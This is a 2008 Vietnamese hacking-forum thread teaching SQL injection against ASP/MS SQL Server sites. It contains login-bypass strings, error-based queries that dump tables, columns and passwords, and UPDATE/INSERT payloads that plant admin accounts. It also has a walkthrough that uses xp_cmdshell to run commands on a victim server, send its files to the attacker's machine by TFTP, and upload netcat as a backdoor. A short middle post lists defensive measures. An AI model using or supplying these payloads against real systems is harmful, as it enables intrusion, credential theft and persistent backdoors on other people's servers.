Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.



 
Trang ChínhHomeTìm kiếmLatest imagesĐăng kýĐăng NhậpWeb TrườngDownloadUpload

 

 Kỹ thuật Hack và nghiên cứu Bug SQL Injection

Go down 
Tác giảThông điệp
BabyLearnHack
Supper Mod
Supper Mod
BabyLearnHack


Nam
Tổng số bài gửi : 247
Đến từ : Hidden_World
Registration date : 15/09/2008

Kỹ thuật Hack và nghiên cứu Bug SQL Injection Empty
Bài gửiTiêu đề: Kỹ thuật Hack và nghiên cứu Bug SQL Injection   Kỹ thuật Hack và nghiên cứu Bug SQL Injection Icon_minitime15/9/2008, 9:58 pm

Các bạn đã nghe rất nhiều từ sql-injection rất nhiều bạn thành thạo nhưng vẫn còn nhiều bạn mới làm wen với lập trình web còn chưa biết tôi xin mạn phép post lại dựa trên các bài về sql-ịnect từ nhóm Vicki , Viethacker.net ...hay một vài nơi khác .

+ SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login (với quyền Admin) mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape,..

+ Vâng hiểu về SQL-Ịnect đơn giản là chỉ có vậy tôi sẽ phân tích tiếp việc khai thác lỗi đó như thế nào , và mỗi người đều có những cách xử lý riêng

VD :
http://www.xxx.com/item.asp?item_id=1

- kiểm tra xem có lỗi không : thêm dấu ' vào :

http://www.xxx.com/item.asp?item_id=1'

Nếu thấy hiển thị lỗi :có dạng vd như thế này :

Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95

Thì trang web này bị SQL-Inject chúng ta có thể hoàn toàn khai thác được thông qua việc "Hỏi Đáp" -->

Nhiều bạn khi test thấy lỗi như vậy liền dùng câu lệnh lấy hết các bảng , cột trong data:

http://www.xxx.com/item.asp?item_id=1%2bco...hema.tables))--

Sẽ thu được kết quả là bảng đầu tiên:

[/code]Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'T005_CC_PACKAGES' to a column of data type int.

C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95
[/code]

'T005_CC_PACKAGES' chính là 1 bảng trong data . Nếu muốn lấy tên bảng tiếp theo ta chỉ việc

http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.tables where table_name not in('T005_CC_PACKAGES' )))--

tiếp tục cho đến khi nào hiện thông báo : Invalid item thì là hết table đó

Muốn lấy tên cột trong bảng thì làm như sau :

http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name='tên bảng'))--

lấy tiếp thì lại dùng not in:

http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name="tên bảng" not in ('Tên cột đã biết','tên cột đã biết')))--

Lấy giá trị trong cột :

http://www.xxx.com/item.asp?item_id=1%2bco...201%20'tên cột'%20from 'tên bảng chứa cột'))--
Mục đích của nhiều bạn là lấy hết toàn bộ thông tin về table , colum của data từ đó
để khai thác tài khoản đăng nhập admin của site đó . Nhưng những cách từng bước trên rất mệt khi đường Link dài quá IE lỗi luôn đó phải dùng trình duyệt khác(Mozila hay Netscape..) .
+ Có cách khác nhanh hơn :
Đăng nhập bằng user: 'or''=' pass: 'or''='
vd nếu bạn may mắn thì sẽ tìm được chỗ login vào phần quản lý web

http://www.xxx.com/admin/login.asp hiện ra form login bạn nên thử với user và pass trên trước khi tìm table và colum chứa user pass.

? Tại sao user: 'or''=' pass: 'or''=' lại có thể login được!

Trích dẫn :
from Viethacker.net
Giả sử như có một trang asp link đến một asp trang khác với URL như sau:

http://vịtcon/index.asp?category=food

Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"

Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lỗi hay không:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

+ Phương án tìm ra user và pass nhanh khi by pass ko được
dùng tư khóa LIKE
vd tìm bảng có chứa cột có tên chứa từ pass
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.tables where colum_name LIKE('%25pass%25')))--

Trích dẫn :
From VietHacker.Net

-Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173".

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173'

- Update/insert data vào CSDL

Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.

Để thay đổi password của "neo", bạn có thể làm như sau:

http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nếu bạn muốn chèn một record mới vào table:

http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5

Continue...
Về Đầu Trang Go down
BabyLearnHack
Supper Mod
Supper Mod
BabyLearnHack


Nam
Tổng số bài gửi : 247
Đến từ : Hidden_World
Registration date : 15/09/2008

Kỹ thuật Hack và nghiên cứu Bug SQL Injection Empty
Bài gửiTiêu đề: Re: Kỹ thuật Hack và nghiên cứu Bug SQL Injection   Kỹ thuật Hack và nghiên cứu Bug SQL Injection Icon_minitime15/9/2008, 9:59 pm

---NGĂN CHẶN SQL-ỊNECTION----

Trích dẫn :
From VietHacker.net

Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:

- input do người dùng đệ trình
- các tham số từ URL
- các giá trị từ cookie

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure mà bạn không dùng như:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Trích dẫn :
From Vicki group

Đầu tiên bạn hãy thiết lập một tường lửa mạnh cho Windows NT. Phần mềm cho NT có nhiều nhưng ít được miễn phí Bạn chọn loại nào phù hợp với mình nhất. Sử dụng kết nối SSL khi bạn cần chuyển các thông tin quan trọng qua mạng. Để phát hiện ra các chương trình sniffer bạn chạy gport.exe để lấy danh sách các socket_id đã mở và số id của các tiến trình tương ứng. Sau đó dùng kill.exe để kill các tiến trình sniffer. Phát hiện & kill backdoor cũng tương tự, bạn lấy danh sách cách cổng đang listen bằng fport.exe hoặc OpPorts.exe, sau đó kill các tiến trình backdoor đã tìm thấy. Ví dụ:

E:\>fport
FPort v2.0 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com

Pid Process Port Proto Path
812 inetinfo -> 21 TCP E:\WINNT\System32\inetsrv\inetinfo.exe
812 inetinfo -> 80 TCP E:\WINNT\System32\inetsrv\inetinfo.exe
404 svchost -> 135 TCP E:\WINNT\system32\svchost.exe
812 inetinfo -> 443 TCP E:\WINNT\System32\inetsrv\inetinfo.exe
468 msdtc -> 1025 TCP E:\WINNT\System32\msdtc.exe
812 inetinfo -> 1026 TCP E:\WINNT\System32\inetsrv\inetinfo.exe
8 System -> 1027 TCP
468 msdtc -> 3372 TCP E:\WINNT\System32\msdtc.exe
1228 nx -> 8080 TCP E:\WINNT\system32\nx.exe

244 lsass -> 500 UDP E:\WINNT\system32\lsass.exe
812 inetinfo -> 3456 UDP E:\WINNT\System32\inetsrv\inetinfo.exe


E:\>kill 1228

PsKill v1.03 - local and remote process killer
Copyright © 2000 Mark Russinovich
http://www.sysinternals.com

Process 1228 killed.

Hiện tại fport.exe có thể phát hiện được hết các loại backdoor, kể cả hai loại backdoor Hacker Defender và TYT.

Bước tiếp theo, hãy đắp bản sửa lỗi mới nhất cho MS-SQL và NT (download các bản patch tại địa chỉ http://www.microsoft.com/vietnam/security/). Tuyệt đối không chạy MS-SQL chạy ở mức quyền SYSTEM. Thay vào đó, bạn hãy tạo một user với mức quyền thấp nhất rồi cho cấu hình lại cho MS-SQL chạy ở user này . Nhở như MS-SQL có bị tấn công thì kẻ tấn cũng chỉ có quyền rất thấp thay vì là SYSTEM như ban đầu.

Để tránh tiết lộ thông tin từ lỗi 500 và làm khó cho những kẻ tấn công, bạn hiệu chỉnh file `%SystemRoot%\Help\iisHelp\common\500-100.asp`, xóa bớt cách dòng không cần thiết ở cuối file, sau đó restart lại IIS.

Khi sửa lỗi cho các file asp bị dính lỗi SQL-Injection, bạn nên tuân theo 2 nguyên tắc sau:

1. hạn chế độ dài của dữ liệu do người dùng đệ trình

2. xác định xem kiểu dữ liệu đệ trình có hợp lệ không trước khi tiến hành query trên CSDL

Một vấn đề nữa là bạn nên xem nhật kí của IIS định kì để phát hiện ra những kẻ tấn công đang cố xâm nhập vào máy chủ của bạn

+ Không nên đặt tên file , thư mục thông dụng như là
http://xxx.com/admin http://xxx.com/admin.asp ...


Về SQL-Ịnect còn rất nhiều chuyện đáng bàn , chúng ta sẽ tiếp tục bàn sau...

Continue...
Về Đầu Trang Go down
BabyLearnHack
Supper Mod
Supper Mod
BabyLearnHack


Nam
Tổng số bài gửi : 247
Đến từ : Hidden_World
Registration date : 15/09/2008

Kỹ thuật Hack và nghiên cứu Bug SQL Injection Empty
Bài gửiTiêu đề: Re: Kỹ thuật Hack và nghiên cứu Bug SQL Injection   Kỹ thuật Hack và nghiên cứu Bug SQL Injection Icon_minitime15/9/2008, 10:00 pm

Hack server bị SQL Injectio

1)Tỷ lệ thành công 80%:

Điều kiện server phải là winnt và user dùng để inject là user có quyền dùng xp_cmdshell (sa, dbo)

Để check bạn có thể làm sau đây trên inject link

[injection link]’ %2b convert (int,(system_user())—

Nếu KQ là ‘sa’ hoặc ‘dbo’ có lẽ bạn có thể tấn công được rồi.

Nếu bạn có ‘sa’ hoặc ‘dbo’ nhưng mà admin lại không cho sử dụng cmdshell bạn hãy bật nó lên (bật thế nào tự tìm hiểu nhé - tôi cũng ko bít đâu )

Lưu ý : bạn sẽ chỉ hack được vào server chứa database của nó thôi (nhiều khi đặt database chung với host )

Các tool cần thiết : <-- tự tìm download

tftpd32 , backdoor

+++Một vài kinh nghiệm hack, biết lệnh DOS và một chút hiểu biết về network

2) Từng bước tiếp cận

a)Các khái niệm:

Lưu ý : Cách hack này của tôi không phải là một chung nhất, bởi vì còn rất nhiều cách khác, cách này của tôi hack thông qua giao thức TFTP.



Nói sơ về giao thức TFTP :

Đó là một giao thức truyền file server<->client . Nó hoạt động tương tự như FTP nhưng đơn giản hơn nhiều , thông qua port 69, và một ưu điểm, nó không cần password (đây là điều quan trọng để ta hack)



Vào DOS gõ tftp /? -> Bạn sẽ được cú pháp của nó như sau :

TFTP [-i] host PUT || GET filename [vị trí file muốn gửi đến]

-i : nếu bạn cần truyền một file dạng binary hãy sử dụng nó

host : IP của máy server

PUT : nếu bạn muốn send file

GET : nếu bạn muốn lấy file

Ví dụ về một lệnh tftp :

Tftp –i xxx.xxx.xxx.xxx PUT netcat.exe C:\nc.exe

Sẽ lấy file netcat.exe trên máy server (máy có IP xxx….) và chuyển vào C:\nc.exe trên máy client (máy đã gõ lệnh trên)



Bây giờ ta sẽ test trực tiếp trên localhost. bạn hãy mở tftpd32 lên để biến máy mình thành một server tftp (lưu ý phải tắt hết firewall giao thức mới thực hiện tốt)

Trong tftpd32 có phần BASE directory mặc định là [path to]\tftpd32e, nó sẽ là thư mục đặt các file up hoặc download của bạn khi thực hiện trao đổi file với client (vì bạn là server) (bạn có thể change nếu thích).

Trong bài này tôi dùng [link] thay cho link các bạn inject, hãy chỉnh lại cho phù hợp để run exec (thêm (‘), ( nếu cần )

Và dùng <IP> để thay cho Ip của các bạn (nó sẽ hiển thị khi các bạn bật tftpd32)

Tấn công thực sự:

-------------------------------BEGIN----------------------------------

Command1 : RUN COMMAND DOS trên máy victim :



[link] exec master..xp_cmdshell ‘[command]’



Command 2 : DOWNLOAD FILE từ máy victim

[link] exec master..xp_cmdshell ‘tftp <IP> PUT [path][filecandown]’



Ví dụ : Lấy Ip máy victim :

(1)[link] exec master..xp_cmdshell ‘ipconfig > a.txt’

(2)[link] exec master..xp_cmdshell ‘tftp <IP> PUT a.txt’

----Giải thích :

(1) : run lệnh này : ipconfig >a.txt <=> tạo file a.txt với nội dung là kết quả của lệnh ipconfig

(2) : run tftp <IP> PUT a.txt <=> chuyển file a.txt với nội dung vừa tạo --> server (máy chúng ta )



Command3 : UPLOAD BACKDOOR lên máy victim :

[link] exec master..xp_cmdshell ‘tftp [–i] <IP> GET backdoor [path muon backdoor được đặt]’



ví dụ : upload netcat vào C:\WINNT:

[link] exec master..xp_cmdshell ‘tftp –i <IP> GET nc.exe C:\WINNT\nx.exe’

-- Kết thúc bài ---
Về Đầu Trang Go down
BabyLearnHack
Supper Mod
Supper Mod
BabyLearnHack


Nam
Tổng số bài gửi : 247
Đến từ : Hidden_World
Registration date : 15/09/2008

Kỹ thuật Hack và nghiên cứu Bug SQL Injection Empty
Bài gửiTiêu đề: Re: Kỹ thuật Hack và nghiên cứu Bug SQL Injection   Kỹ thuật Hack và nghiên cứu Bug SQL Injection Icon_minitime15/9/2008, 10:01 pm

Bản tiếng Anh dành cho các bạn muốn tìm hiểu tận gốc SQL Inject

Tài liệu này rất hay, đầy đủ:

http://viethacker.org/e-book/sql_injection_walkthrough.txt

Tài liệu này có cả hình ảnh minh họa hack qua lỗi SQL Inject được test trên Localhost:

http://viethacker.org/e-book/SQLInjectionWhitePaper.pdf

Hy vọng các bạn sẽ hiểu ...và biết làm sao để tránh lỗi này ! Cool
Về Đầu Trang Go down
Sponsored content





Kỹ thuật Hack và nghiên cứu Bug SQL Injection Empty
Bài gửiTiêu đề: Re: Kỹ thuật Hack và nghiên cứu Bug SQL Injection   Kỹ thuật Hack và nghiên cứu Bug SQL Injection Icon_minitime

Về Đầu Trang Go down
 
Kỹ thuật Hack và nghiên cứu Bug SQL Injection
Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» Kĩ thuật Hack cơ bản
» Nhân viên kỹ thuật
» Kỹ thuật viên vi tính
» Kỹ thuật viên sửa chữa máy tính xách tay
» Kỹ thuật viên thiết kế và lập trình web

Permissions in this forum:Bạn không có quyền trả lời bài viết
 :: Chuyên Đề IT :: Hard Ware, Virus & Hacker-
Chuyển đến